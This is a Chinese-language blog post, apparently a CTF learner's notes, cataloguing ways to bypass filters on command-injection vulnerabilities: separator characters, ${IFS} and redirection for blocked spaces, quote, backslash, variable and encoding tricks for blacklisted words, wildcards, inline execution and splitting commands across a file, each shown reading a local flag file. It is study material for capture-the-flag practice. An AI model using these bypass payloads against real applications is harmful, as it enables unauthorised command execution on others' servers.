命令执行漏洞各种绕过方式

前言

刚做了一道题,是有关命令执行漏洞的,里面过滤的内容比较多,一时间找不到头绪,所以学习一下关于命令执行漏洞的绕过方式,以便以后遇到不会像现在这样一点思路都没有。
总结完再去做就很轻松了。

命令执行漏洞绕过方式

管道符

windows中常见管道符

|		直接执行后面的语句
||		如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&		前面和后面命令都要执行,无论前面真假
&&		如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

m0re

linux中常见管道符

以上四种管道符在linux系统中同样适用,增加一种

;		前面和后面命令都要执行,无论前面真假
zxcv0221@kali:~/桌面$ ping -c 1 m0re;cat flag
ping: m0re: 没有与主机名关联的地址
you are good!

空格过滤

这个比较多了

1.${IFS}

zxcv0221@kali:~/桌面$ cat${IFS}flag
you are good!
  1. $IFS$9 $9指传过来的第9个参数
zxcv0221@kali:~/桌面$ cat$IFS$9flag
you are good!
zxcv0221@kali:~/桌面$ cat$IFS$1flag
you are good!
  1. %09(需要PHP环境,不演示)
  2. <或者<>重定向
zxcv0221@kali:~/桌面$ cat<flag
you are good!
zxcv0221@kali:~/桌面$ cat<>flag
you are good!

黑名单绕过

比如:过滤了cat或者flag

  1. 变量拼接
zxcv0221@kali:~/桌面$ a=c;b=at;c=fl;d=ag;$a$b $c$d
you are good!
  1. 单引号,双引号绕过
zxcv0221@kali:~/桌面$ ca''t flag
you are good!
zxcv0221@kali:~/桌面$ cat"" flag
you are good!
  1. 编码绕过
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag

栗子:

zxcv0221@kali:~/桌面$ $(printf "\154\163")
firefox-esr.desktop  flag
  1. 读文件绕过(当cat被过滤)
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容

栗子:

zxcv0221@kali:~/桌面$ more flag
you are good!
  1. 反斜线
zxcv0221@kali:~/桌面$ c\at fl\ag
you are good!
  1. $1、$2等和$@
zxcv0221@kali:~/桌面$ c$1at fl$@ag
you are good!

通配符绕过

?代表一个字符*代表一串字符

zxcv0221@kali:~/桌面$ /???/?[a][t] ?''?''?''?''
you are good!
zxcv0221@kali:~/桌面$ /???/?[a][t] ?''?''?''?''
you are good!
zxcv0221@kali:~/桌面$ /???/?at flag
you are good!
zxcv0221@kali:~/桌面$ /???/?at ????
you are good!
zxcv0221@kali:~/桌面$ /???/?[a]''[t] ?''?''?''?''
you are good!

我服了,这都可以?长见识666🍭
*下众生平等🥙

内敛执行绕过

`命令`和$(命令)都是执行命令的方式

栗子:

zxcv0221@kali:~/桌面$ echo "m0re`cat flag`"
m0reyou are good!
zxcv0221@kali:~/桌面$ echo "m0re $(cat flag)"
m0re you are good!
zxcv0221@kali:~/桌面$ echo "m0re $(pwd)"
m0re /home/zxcv0221/桌面

编码绕过

使用base64编码进行绕过

zxcv0221@kali:~/桌面$ `echo "Y2F0IGZsYWc="|base64 -d`
you are good!

绕过长度限制

>>>两个符号的使用

使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入
m0re
>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
m0re

命令换行

换行执行命令

zxcv0221@kali:~/桌面$ ca\
> t\
>  fl\
> ag
you are good!

m0re
可以尝试写一个文件来执行命令

zxcv0221@kali:~/桌面$ echo "ca\\">shell
zxcv0221@kali:~/桌面$ echo "t\\">>shell
zxcv0221@kali:~/桌面$ echo " fl\\">>shell
zxcv0221@kali:~/桌面$ echo "ag">>shell
zxcv0221@kali:~/桌面$ cat shell
ca\
t\
 fl\
ag
zxcv0221@kali:~/桌面$ sh shell
you are good!

m0re

最后

还有一种是使用kali中的一个工具,名字叫metasploit
学会使用,需要实践利用,这里就不演示了,就像我之前写的提权的那篇文章就用到了metasploit,这个确实是一个非常强大的工具。我已经爱上这个工具了。
目前这些应该就够我现阶段用的了。

参考文章

命令执行漏洞利用及绕过方式总结
命令执行漏洞,绕过过滤姿势

posted @ 2020-07-10 13:39  m0re  阅读(346)  评论(0编辑  收藏  举报